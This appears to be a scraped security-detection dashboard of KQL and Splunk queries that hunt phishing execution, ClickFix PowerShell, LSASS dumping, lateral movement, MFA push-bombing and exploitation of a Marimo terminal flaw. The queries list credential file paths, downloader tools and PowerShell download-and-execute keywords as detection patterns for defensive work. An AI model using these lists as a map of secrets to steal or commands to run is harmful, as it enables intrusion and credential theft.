Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] MuddyWater MSP-pivot: SimpleHelp RMM client execution at non-MSP endpoints · [LLM] Iranian APT MFA push-bombing followed by attacker-controlled MFA registration change
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] MuddyWater MSP-pivot: SimpleHelp RMM client execution at non-MSP endpointsInstallationMedium
Hunts for SimpleHelp Remote Access binaries / JWrapper-signed services running on workstations or servers, the same RMM that the article highlights MuddyWater abuses to pivot from compromised MSPs into customer estates. Surfaces installs that did not come through a sanctioned MSP-onboarding workflow.
Rationale: Article explicitly names 'SimpleHelp tool at MSPs' as MuddyWater's MSP-pivot vector; SOC Prime, Sophos and Group-IB write-ups confirm the JWrapper-signed binary names ('Remote Access.exe', 'SimpleService.exe'), Technician.jar, and TCP/8443 outbound. Pairing process telemetry with an internal approved-MSP allowlist keeps fidelity high.
Cross-checked against:
• https://socprime.com/blog/detect-simplehelp-rmm-vulnerabilities-exploitation/
• https://www.group-ib.com/blog/muddywater-infrastructure/
• https://www.sophos.com/en-us/blog/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers
• https://attack.mitre.org/groups/G0069/
ATT&CKT1219T1199T1133
Data sourcesEndpoint.ProcessesNetwork_Traffic.All_Traffic
let proc = DeviceProcessEvents | where Timestamp > ago(14d) | where FileName in~ ("Remote Access.exe","RemoteAccess.exe","SimpleService.exe","SimpleHelpRemoteAccess.exe","SimpleGatewayServer.exe") or FolderPath matches regex @"(?i)\\(SimpleHelp|JWrapper-Remote Access|SimpleHelpRemoteAccess)\\" or (FileName =~ "java.exe" and ProcessCommandLine has_cs "Technician.jar") or ProcessVersionInfoCompanyName has "JWrapper" | project Timestamp, DeviceId, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessAccountName, SHA256; let net = DeviceNetworkEvents | where Timestamp > ago(14d) | where RemoteUrl has "simple-help.com" or (RemotePort in (8443,443) and InitiatingProcessFileName in~ ("Remote Access.exe","SimpleService.exe","java.exe")) | project NetTime=Timestamp, DeviceId, RemoteIP, RemoteUrl, RemotePort, InitiatingProcessFileName; proc | join kind=leftouter net on DeviceId | where DeviceName !in ((externaldata(d:string)[@"https://approved-msp-list.csv"] with (format="csv"))) // replace with internal approved-MSP allowlist
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, RemoteIP, RemoteUrl, RemotePort, SHA256
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN ("Remote Access.exe","RemoteAccess.exe","SimpleService.exe","SimpleHelpRemoteAccess.exe","SimpleGatewayServer.exe") OR Processes.process_path IN ("*\\JWrapper-Remote Access\\*","*\\SimpleHelp*\\*","*\\SimpleHelpRemoteAccess\\*") OR (Processes.process_name="java.exe" AND Processes.process="*Technician.jar*")) by Processes.dest Processes.user Processes.process Processes.process_path Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | lookup approved_msp_endpoints dest OUTPUT msp_owner | where isnull(msp_owner) | join type=left dest [ | tstats `summariesonly` values(All_Traffic.dest_ip) as remote_ip values(All_Traffic.dest_port) as remote_port values(All_Traffic.dest) as remote_dest from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port IN (8443,443) (All_Traffic.dest="*simple-help.com" OR All_Traffic.app="simplehelp") by All_Traffic.src | rename All_Traffic.src as dest | `drop_dm_object_name(All_Traffic)` ] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Iranian APT MFA push-bombing followed by attacker-controlled MFA registration changeInstallationHigh
Detects the exact sequence the article cites from the Oct-2024 CISA/FBI/NSA advisory: high-volume MFA challenge spam against a single account, an eventual successful MFA approval, then an MFA method/registration change within hours that locks in attacker persistence. This combined chain is far higher fidelity than any single signal.
Rationale: Article cites the joint CISA/FBI/NSA Oct-2024 advisory: Iranian actors used password-spray + MFA push-bombing then 'modified MFA registrations to lock in persistent access' — the three-stage temporal correlation (>=10 MFA fails -> success -> MFA reg change <=24h) is exactly that TTP and is rare enough in benign traffic to alert on.
Cross-checked against:
• https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-290a
• https://attack.mitre.org/techniques/T1621/
• https://attack.mitre.org/techniques/T1556/006/
ATT&CKT1621T1110.003T1556.006T1098.005
Data sourcesAuthentication.AuthenticationChange.Account_Management
let bombing = AADSignInEventsBeta | where Timestamp > ago(7d) | where ErrorCode in (50074, 50158, 500121, 530003) or (Status has "MFA" and ConditionalAccessStatus != "success") | summarize FailedMFA=count(), FirstAttempt=min(Timestamp), LastAttempt=max(Timestamp), SrcIPs=make_set(IPAddress, 25), DistinctSrcIPs=dcount(IPAddress) by AccountUpn, AccountObjectId, bin(Timestamp, 1h) | where FailedMFA >= 10; let approved = AADSignInEventsBeta | where Timestamp > ago(7d) | where ErrorCode == 0 and AuthenticationRequirement =~ "multiFactorAuthentication" | project SuccessTime=Timestamp, AccountObjectId, ApprovedFromIP=IPAddress, ApprovedDevice=DeviceName; let regChange = CloudAppEvents | where Timestamp > ago(7d) | where Application has_any ("Microsoft Entra","Azure Active Directory") | where ActionType has_any ("Update user","Add registered security info","Update authentication method","User registered security info","User changed default security info","Reset user password") | project RegChangeTime=Timestamp, AccountObjectId, ActionType, RegInitiatedBy=tostring(RawEventData.InitiatedBy), RegFromIP=IPAddress; bombing | join kind=inner approved on AccountObjectId | where SuccessTime between (FirstAttempt .. (LastAttempt + 1h)) | join kind=inner regChange on AccountObjectId | where RegChangeTime between (SuccessTime .. (SuccessTime + 24h)) | project AccountUpn, FirstAttempt, LastAttempt, FailedMFA, DistinctSrcIPs, SrcIPs, SuccessTime, ApprovedFromIP, RegChangeTime, ActionType, RegFromIP
| tstats `summariesonly` count as mfa_challenges values(Authentication.src) as src_ips dc(Authentication.src) as dc_src min(_time) as first_attempt max(_time) as last_attempt from datamodel=Authentication where Authentication.action="failure" (Authentication.signature="*MFA*" OR Authentication.signature_id IN ("50074","50158","500121","530003") OR Authentication.authentication_method="MFA") by Authentication.user span=30m | `drop_dm_object_name(Authentication)` | where mfa_challenges >= 10 | join type=inner user [ | tstats `summariesonly` min(_time) as success_time from datamodel=Authentication where Authentication.action="success" Authentication.authentication_method="MFA" by Authentication.user | `drop_dm_object_name(Authentication)` ] | where success_time >= first_attempt AND success_time <= (last_attempt + 3600) | join type=inner user [ | tstats `summariesonly` min(_time) as reg_change_time values(All_Changes.object) as changed_object values(All_Changes.action) as change_action from datamodel=Change.Account_Management where (All_Changes.object_category="user" AND (All_Changes.action="updated" OR All_Changes.action="created") AND (All_Changes.object_attrs="*StrongAuthentication*" OR All_Changes.object_attrs="*authenticationMethod*" OR All_Changes.object_attrs="*PhoneAuthentication*")) by All_Changes.user | `drop_dm_object_name(All_Changes)` | rename All_Changes.user as user ] | where reg_change_time >= success_time AND reg_change_time <= (success_time + 86400) | table user first_attempt last_attempt mfa_challenges src_ips success_time reg_change_time changed_object change_action
2026-03-114 use cases1 technique3 kill-chain phases detected
n8n contains an improper control of dynamically managed code resources vulnerability in its workflow expression evaluation system that allows for remote code execution. Vendor: n8n, Product: n8n. Federal patch due: 2026-03-25.
CVEsCVE-2025-68613
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-68613")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-68613")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Article-specific behavioural hunt — Sednit reloaded: Back in the trenches
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · [LLM] Sednit BeardShell C2 over Icedrive cloud storage from non-browser process · [LLM] Sednit modified-Covenant C2 over Filen / pCloud / Koofr cloud storage
